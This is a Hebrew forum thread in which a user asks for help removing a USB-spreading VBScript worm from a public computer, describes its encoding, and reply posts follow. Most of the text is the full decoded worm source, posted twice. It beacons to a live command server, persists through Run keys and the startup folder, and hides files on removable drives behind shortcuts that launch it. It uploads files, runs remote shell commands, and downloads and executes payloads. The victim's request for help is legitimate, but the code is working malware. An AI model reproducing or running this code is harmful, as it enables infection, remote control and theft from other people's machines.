                              '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                              
                              host = "khattab.no-ip.biz"
                              port = 5550
                              installdir = "%temp%"
                              lnkfile = true
                              lnkfolder = true
                              
                              '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                              
                              dim shellobj 
                              set shellobj = wscript.createobject("wscript.shell")
                              dim filesystemobj
                              set filesystemobj = createobject("scripting.filesystemobject")
                              dim httpobj
                              set httpobj = createobject("msxml2.xmlhttp")
                              
                              '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                              
                              installname = wscript.scriptname
                              startup = shellobj.specialfolders ("startup") & "\"
                              installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                              if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                              spliter = "<" & "|" & ">"
                              sleep = 5000 
                              dim response
                              dim cmd
                              dim param
                              info = ""
                              usbspreading = ""
                              startdate = ""
                              dim oneonce
                              
                              '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                              on error resume next
                              
                              instance
                              while true
                              
                              install
                              
                              response = ""
                              response = post ("is-ready","")
                              cmd = split (response,spliter)
                              select case cmd (0)
                              case "excecute"
                                    param = cmd (1)
                                    execute param
                              case "update"
                                    param = cmd (1)
                                    oneonce.close
                                    set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                    oneonce.write param
                                    oneonce.close
                                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                    wscript.quit 
                              case "uninstall"
                                    uninstall
                              case "send"
                                    download cmd (1),cmd (2)
                              case "site-send"
                                    sitedownloader cmd (1),cmd (2)
                              case "recv"
                                    param = cmd (1)
                                    upload (param)
                              case  "enum-driver"
                                    post "is-enum-driver",enumdriver  
                              case  "enum-faf"
                                    param = cmd (1)
                                    post "is-enum-faf",enumfaf (param)
                              case  "enum-process"
                                    post "is-enum-process",enumprocess   
                              case  "cmd-shell"
                                    param = cmd (1)
                                    post "is-cmd-shell",cmdshell (param)  
                              case  "delete"
                                    param = cmd (1)
                                    deletefaf (param) 
                              case  "exit-process"
                                    param = cmd (1)
                                    exitprocess (param) 
                              case  "sleep"
                                    param = cmd (1)
                                    sleep = eval (param)        
                              end select
                              
                              wscript.sleep sleep
                              
                              wend
                              
                              sub install
                              on error resume next
                              dim lnkobj
                              dim filename
                              dim foldername
                              dim fileicon
                              dim foldericon
                              
                              upstart
                              for each drive in filesystemobj.drives
                              
                              if  drive.isready = true then
                              if  drive.freespace  > 0 then
                              if  drive.drivetype  = 1 then
                                  filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                  if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                      filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                  end if
                                  for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                      if not lnkfile then exit for
                                      if  instr (file.name,".") then
                                          if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                              file.attributes = 2+4
                                              if  ucase (file.name) <> ucase (installname) then
                                                  filename = split(file.name,".")
                                                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                  lnkobj.windowstyle = 7
                                                  lnkobj.targetpath = "cmd.exe"
                                                  lnkobj.workingdirectory = ""
                                                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                  fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                  if  instr (fileicon,",") = 0 then
                                                      lnkobj.iconlocation = file.path
                                                  else 
                                                      lnkobj.iconlocation = fileicon
                                                  end if
                                                  lnkobj.save()
                                              end if
                                          end if
                                      end if
                                  next
                                  for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                      if not lnkfolder then exit for
                                      folder.attributes = 2+4
                                      foldername = folder.name
                                      set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                      lnkobj.windowstyle = 7
                                      lnkobj.targetpath = "cmd.exe"
                                      lnkobj.workingdirectory = ""
                                      lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                      foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                      if  instr (foldericon,",") = 0 then
                                          lnkobj.iconlocation = folder.path
                                      else 
                                          lnkobj.iconlocation = foldericon
                                      end if
                                      lnkobj.save()
                                  next
                              end If
                              end If
                              end if
                              next
                              err.clear
                              end sub
                              
                              sub uninstall
                              on error resume next
                              dim filename
                              dim foldername
                              
                              shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                              shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                              filesystemobj.deletefile startup & installname ,true
                              filesystemobj.deletefile wscript.scriptfullname ,true
                              
                              for  each drive in filesystemobj.drives
                              if  drive.isready = true then
                              if  drive.freespace  > 0 then
                              if  drive.drivetype  = 1 then
                                  for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                       on error resume next
                                       if  instr (file.name,".") then
                                           if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                               file.attributes = 0
                                               if  ucase (file.name) <> ucase (installname) then
                                                   filename = split(file.name,".")
                                                   filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                               else
                                                   filesystemobj.deletefile (drive.path & "\" & file.name)
                                               end If
                                           else
                                               filesystemobj.deletefile (file.path) 
                                           end if
                                       end if
                                   next
                                   for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                       folder.attributes = 0
                                   next
                              end if
                              end if
                              end if
                              next
                              wscript.quit
                              end sub
                              
                              function post (cmd ,param)
                              
                              post = param
                              httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                              httpobj.setrequestheader "user-agent:",information
                              httpobj.send param
                              post = httpobj.responsetext
                              end function
                              
                              function information
                              on error resume next
                              if  inf = "" then
                                  inf = hwid & spliter 
                                  inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                  inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                              
                                  set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                  set os = root.execquery ("select * from win32_operatingsystem")
                                  for each osinfo in os
                                     inf = inf & osinfo.caption & spliter  
                                     exit for
                                  next
                                  inf = inf & "plus" & spliter
                                  inf = inf & security & spliter
                                  inf = inf & usbspreading
                                  information = inf  
                              else
                                  information = inf
                              end if
                              end function
                              
                              sub upstart ()
                              on error resume Next
                              
                              shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                              filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                              filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                              
                              end sub
                              
                              function hwid
                              on error resume next
                              
                              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                              set disks = root.execquery ("select * from win32_logicaldisk")
                              for each disk in disks
                                  if  disk.volumeserialnumber <> "" then
                                      hwid = disk.volumeserialnumber
                                      exit for
                                  end if
                              next
                              end function
                              
                              function security 
                              on error resume next
                              
                              security = ""
                              
                              set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                              set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                              for each objitem in colitems
                                  versionstr = split (objitem.version,".")
                              next
                              versionstr = split (colitems.version,".")
                              osversion = versionstr (0) & "."
                              for  x = 1 to ubound (versionstr)
                                   osversion = osversion &  versionstr (i)
                              next
                              osversion = eval (osversion)
                              if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                              
                              set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                              Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                              
                              for each objantivirus in colantivirus
                                  security  = security  & objantivirus.displayname & " ."
                              next
                              if security  = "" then security  = "nan-av"
                              end function
                              
                              function instance
                              on error resume next
                              
                              usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                              if usbspreading = "" then
                                 if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                    usbspreading = "true - " & date
                                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                 else
                                    usbspreading = "false - " & date
                                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                              
                                 end if
                              end If
                              
                              
                              upstart
                              set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                              set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                              if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                  wscript.quit 
                              end If
                              err.clear
                              set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                              if  err.number > 0 then wscript.quit
                              end function
                              
                              sub sitedownloader (fileurl,filename)
                              
                              strlink = fileurl
                              strsaveto = installdir & filename
                              set objhttpdownload = createobject("msxml2.xmlhttp" )
                              objhttpdownload.open "get", strlink, false
                              objhttpdownload.send
                              
                              set objfsodownload = createobject ("scripting.filesystemobject")
                              if  objfsodownload.fileexists (strsaveto) then
                                  objfsodownload.deletefile (strsaveto)
                              end if
                               
                              if objhttpdownload.status = 200 then
                                 dim  objstreamdownload
                                 set  objstreamdownload = createobject("adodb.stream")
                                 with objstreamdownload
                                      .type = 1 
                                      .open
                                      .write objhttpdownload.responsebody
                                      .savetofile strsaveto
                                      .close
                                 end with
                                 set objstreamdownload = nothing
                              end if
                              if objfsodownload.fileexists(strsaveto) then
                                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
                              end if 
                              end sub
                              
                              sub download (fileurl,filedir)
                              
                              if filedir = "" then 
                                 filedir = installdir
                              end if
                              
                              strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                              set objhttpdownload = createobject("msxml2.xmlhttp")
                              objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                              objhttpdownload.send ""
                                   
                              set objfsodownload = createobject ("scripting.filesystemobject")
                              if  objfsodownload.fileexists (strsaveto) then
                                  objfsodownload.deletefile (strsaveto)
                              end if
                              if  objhttpdownload.status = 200 then
                                  dim  objstreamdownload
                                  set  objstreamdownload = createobject("adodb.stream")
                                  with objstreamdownload 
                                       .type = 1 
                                       .open
                                       .write objhttpdownload.responsebody
                                       .savetofile strsaveto
                                       .close
                                  end with
                                  set objstreamdownload  = nothing
                              end if
                              if objfsodownload.fileexists(strsaveto) then
                                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
                              end if 
                              end sub
                              
                              function upload (fileurl)
                              
                              dim  httpobj,objstreamuploade,buffer
                              set  objstreamuploade = createobject("adodb.stream")
                              with objstreamuploade 
                                   .type = 1 
                                   .open
                                   .loadfromfile fileurl
                                   buffer = .read
                                   .close
                              end with
                              set objstreamdownload = nothing
                              set httpobj = createobject("msxml2.xmlhttp")
                              httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                              httpobj.send buffer
                              end function
                              
                              function enumdriver ()
                              
                              for  each drive in filesystemobj.drives
                              if   drive.isready = true then
                                   enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                              end if
                              next
                              end Function
                              
                              function enumfaf (enumdir)
                              
                              enumfaf = enumdir & spliter
                              for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                   enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                              next
                              
                              for  each file in filesystemobj.getfolder (enumdir).files
                                   enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                              
                              next
                              end function
                              
                              function enumprocess ()
                              
                              on error resume next
                              
                              set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                              set colitems = objwmiservice.execquery("select * from win32_process",,48)
                              
                              dim objitem
                              for each objitem in colitems
                                  enumprocess = enumprocess & objitem.name & "|"
                                  enumprocess = enumprocess & objitem.processid & "|"
                                  enumprocess = enumprocess & objitem.executablepath & spliter
                              next
                              end function
                              
                              sub exitprocess (pid)
                              on error resume next
                              
                              shellobj.run "taskkill /F /T /PID " & pid,7,true
                              end sub
                              
                              sub deletefaf (url)
                              on error resume next
                              
                              filesystemobj.deletefile url
                              filesystemobj.deletefolder url
                              
                              end sub
                              
                              function cmdshell (cmd)
                              
                              dim httpobj,oexec,readallfromany
                              
                              set oexec = shellobj.exec ("%comspec% /c " & cmd)
                              if not oexec.stdout.atendofstream then
                                 readallfromany = oexec.stdout.readall
                              elseif not oexec.stderr.atendofstream then
                                 readallfromany = oexec.stderr.readall
                              else 
                                 readallfromany = ""
                              end if
                              
                              cmdshell = readallfromany
                              end function
                              
                              א מנותק
                              א מנותק
                              אחרית לעמך
                              כתב נערך לאחרונה על ידי
                              #45

                              @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                              בחדר מחשבים שעל ידי ביתי

                              אולי תכתוב איזה חדר זה כדי להציל את הציבור (אם לא מיגרת את הוירוס שם)

                              תגובה 1 תגובה אחרונה
                              0
                              • ר רנדומלי

                                בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                                cmd /c hrxxryydxo.vbs && start explorer [file name]
                                

                                הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                                לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                                תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                                לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                                z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                                

                                בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                                לאחר פיענוח הקידוד התקבל הקוד הבא:
                                אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                                e
                                '<[ recoder : houdini (c) skype : houdini-fx ]>
                                
                                '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                                
                                host = "khattab.no-ip.biz"
                                port = 5550
                                installdir = "%temp%"
                                lnkfile = true
                                lnkfolder = true
                                
                                '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                                
                                dim shellobj 
                                set shellobj = wscript.createobject("wscript.shell")
                                dim filesystemobj
                                set filesystemobj = createobject("scripting.filesystemobject")
                                dim httpobj
                                set httpobj = createobject("msxml2.xmlhttp")
                                
                                '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                                
                                installname = wscript.scriptname
                                startup = shellobj.specialfolders ("startup") & "\"
                                installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                                if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                                spliter = "<" & "|" & ">"
                                sleep = 5000 
                                dim response
                                dim cmd
                                dim param
                                info = ""
                                usbspreading = ""
                                startdate = ""
                                dim oneonce
                                
                                '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                                on error resume next
                                
                                instance
                                while true
                                
                                install
                                
                                response = ""
                                response = post ("is-ready","")
                                cmd = split (response,spliter)
                                select case cmd (0)
                                case "excecute"
                                      param = cmd (1)
                                      execute param
                                case "update"
                                      param = cmd (1)
                                      oneonce.close
                                      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                      oneonce.write param
                                      oneonce.close
                                      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                      wscript.quit 
                                case "uninstall"
                                      uninstall
                                case "send"
                                      download cmd (1),cmd (2)
                                case "site-send"
                                      sitedownloader cmd (1),cmd (2)
                                case "recv"
                                      param = cmd (1)
                                      upload (param)
                                case  "enum-driver"
                                      post "is-enum-driver",enumdriver  
                                case  "enum-faf"
                                      param = cmd (1)
                                      post "is-enum-faf",enumfaf (param)
                                case  "enum-process"
                                      post "is-enum-process",enumprocess   
                                case  "cmd-shell"
                                      param = cmd (1)
                                      post "is-cmd-shell",cmdshell (param)  
                                case  "delete"
                                      param = cmd (1)
                                      deletefaf (param) 
                                case  "exit-process"
                                      param = cmd (1)
                                      exitprocess (param) 
                                case  "sleep"
                                      param = cmd (1)
                                      sleep = eval (param)        
                                end select
                                
                                wscript.sleep sleep
                                
                                wend
                                
                                sub install
                                on error resume next
                                dim lnkobj
                                dim filename
                                dim foldername
                                dim fileicon
                                dim foldericon
                                
                                upstart
                                for each drive in filesystemobj.drives
                                
                                if  drive.isready = true then
                                if  drive.freespace  > 0 then
                                if  drive.drivetype  = 1 then
                                    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                    end if
                                    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                        if not lnkfile then exit for
                                        if  instr (file.name,".") then
                                            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                                file.attributes = 2+4
                                                if  ucase (file.name) <> ucase (installname) then
                                                    filename = split(file.name,".")
                                                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                    lnkobj.windowstyle = 7
                                                    lnkobj.targetpath = "cmd.exe"
                                                    lnkobj.workingdirectory = ""
                                                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                    if  instr (fileicon,",") = 0 then
                                                        lnkobj.iconlocation = file.path
                                                    else 
                                                        lnkobj.iconlocation = fileicon
                                                    end if
                                                    lnkobj.save()
                                                end if
                                            end if
                                        end if
                                    next
                                    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                        if not lnkfolder then exit for
                                        folder.attributes = 2+4
                                        foldername = folder.name
                                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                        lnkobj.windowstyle = 7
                                        lnkobj.targetpath = "cmd.exe"
                                        lnkobj.workingdirectory = ""
                                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                        if  instr (foldericon,",") = 0 then
                                            lnkobj.iconlocation = folder.path
                                        else 
                                            lnkobj.iconlocation = foldericon
                                        end if
                                        lnkobj.save()
                                    next
                                end If
                                end If
                                end if
                                next
                                err.clear
                                end sub
                                
                                sub uninstall
                                on error resume next
                                dim filename
                                dim foldername
                                
                                shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                filesystemobj.deletefile startup & installname ,true
                                filesystemobj.deletefile wscript.scriptfullname ,true
                                
                                for  each drive in filesystemobj.drives
                                if  drive.isready = true then
                                if  drive.freespace  > 0 then
                                if  drive.drivetype  = 1 then
                                    for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                         on error resume next
                                         if  instr (file.name,".") then
                                             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                                 file.attributes = 0
                                                 if  ucase (file.name) <> ucase (installname) then
                                                     filename = split(file.name,".")
                                                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                                 else
                                                     filesystemobj.deletefile (drive.path & "\" & file.name)
                                                 end If
                                             else
                                                 filesystemobj.deletefile (file.path) 
                                             end if
                                         end if
                                     next
                                     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                         folder.attributes = 0
                                     next
                                end if
                                end if
                                end if
                                next
                                wscript.quit
                                end sub
                                
                                function post (cmd ,param)
                                
                                post = param
                                httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                                httpobj.setrequestheader "user-agent:",information
                                httpobj.send param
                                post = httpobj.responsetext
                                end function
                                
                                function information
                                on error resume next
                                if  inf = "" then
                                    inf = hwid & spliter 
                                    inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                    inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                                
                                    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                    set os = root.execquery ("select * from win32_operatingsystem")
                                    for each osinfo in os
                                       inf = inf & osinfo.caption & spliter  
                                       exit for
                                    next
                                    inf = inf & "plus" & spliter
                                    inf = inf & security & spliter
                                    inf = inf & usbspreading
                                    information = inf  
                                else
                                    information = inf
                                end if
                                end function
                                
                                sub upstart ()
                                on error resume Next
                                
                                shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                                filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                                
                                end sub
                                
                                function hwid
                                on error resume next
                                
                                set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                set disks = root.execquery ("select * from win32_logicaldisk")
                                for each disk in disks
                                    if  disk.volumeserialnumber <> "" then
                                        hwid = disk.volumeserialnumber
                                        exit for
                                    end if
                                next
                                end function
                                
                                function security 
                                on error resume next
                                
                                security = ""
                                
                                set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                                for each objitem in colitems
                                    versionstr = split (objitem.version,".")
                                next
                                versionstr = split (colitems.version,".")
                                osversion = versionstr (0) & "."
                                for  x = 1 to ubound (versionstr)
                                     osversion = osversion &  versionstr (i)
                                next
                                osversion = eval (osversion)
                                if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                                
                                set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                                Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                                
                                for each objantivirus in colantivirus
                                    security  = security  & objantivirus.displayname & " ."
                                next
                                if security  = "" then security  = "nan-av"
                                end function
                                
                                function instance
                                on error resume next
                                
                                usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                                if usbspreading = "" then
                                   if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                      usbspreading = "true - " & date
                                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                   else
                                      usbspreading = "false - " & date
                                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                
                                   end if
                                end If
                                
                                
                                upstart
                                set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                                set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                                if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                    wscript.quit 
                                end If
                                err.clear
                                set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                                if  err.number > 0 then wscript.quit
                                end function
                                
                                sub sitedownloader (fileurl,filename)
                                
                                strlink = fileurl
                                strsaveto = installdir & filename
                                set objhttpdownload = createobject("msxml2.xmlhttp" )
                                objhttpdownload.open "get", strlink, false
                                objhttpdownload.send
                                
                                set objfsodownload = createobject ("scripting.filesystemobject")
                                if  objfsodownload.fileexists (strsaveto) then
                                    objfsodownload.deletefile (strsaveto)
                                end if
                                 
                                if objhttpdownload.status = 200 then
                                   dim  objstreamdownload
                                   set  objstreamdownload = createobject("adodb.stream")
                                   with objstreamdownload
                                        .type = 1 
                                        .open
                                        .write objhttpdownload.responsebody
                                        .savetofile strsaveto
                                        .close
                                   end with
                                   set objstreamdownload = nothing
                                end if
                                if objfsodownload.fileexists(strsaveto) then
                                   shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                end if 
                                end sub
                                
                                sub download (fileurl,filedir)
                                
                                if filedir = "" then 
                                   filedir = installdir
                                end if
                                
                                strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                                set objhttpdownload = createobject("msxml2.xmlhttp")
                                objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                                objhttpdownload.send ""
                                     
                                set objfsodownload = createobject ("scripting.filesystemobject")
                                if  objfsodownload.fileexists (strsaveto) then
                                    objfsodownload.deletefile (strsaveto)
                                end if
                                if  objhttpdownload.status = 200 then
                                    dim  objstreamdownload
                                    set  objstreamdownload = createobject("adodb.stream")
                                    with objstreamdownload 
                                         .type = 1 
                                         .open
                                         .write objhttpdownload.responsebody
                                         .savetofile strsaveto
                                         .close
                                    end with
                                    set objstreamdownload  = nothing
                                end if
                                if objfsodownload.fileexists(strsaveto) then
                                   shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                end if 
                                end sub
                                
                                function upload (fileurl)
                                
                                dim  httpobj,objstreamuploade,buffer
                                set  objstreamuploade = createobject("adodb.stream")
                                with objstreamuploade 
                                     .type = 1 
                                     .open
                                     .loadfromfile fileurl
                                     buffer = .read
                                     .close
                                end with
                                set objstreamdownload = nothing
                                set httpobj = createobject("msxml2.xmlhttp")
                                httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                                httpobj.send buffer
                                end function
                                
                                function enumdriver ()
                                
                                for  each drive in filesystemobj.drives
                                if   drive.isready = true then
                                     enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                                end if
                                next
                                end Function
                                
                                function enumfaf (enumdir)
                                
                                enumfaf = enumdir & spliter
                                for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                     enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                                next
                                
                                for  each file in filesystemobj.getfolder (enumdir).files
                                     enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                                
                                next
                                end function
                                
                                function enumprocess ()
                                
                                on error resume next
                                
                                set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                                set colitems = objwmiservice.execquery("select * from win32_process",,48)
                                
                                dim objitem
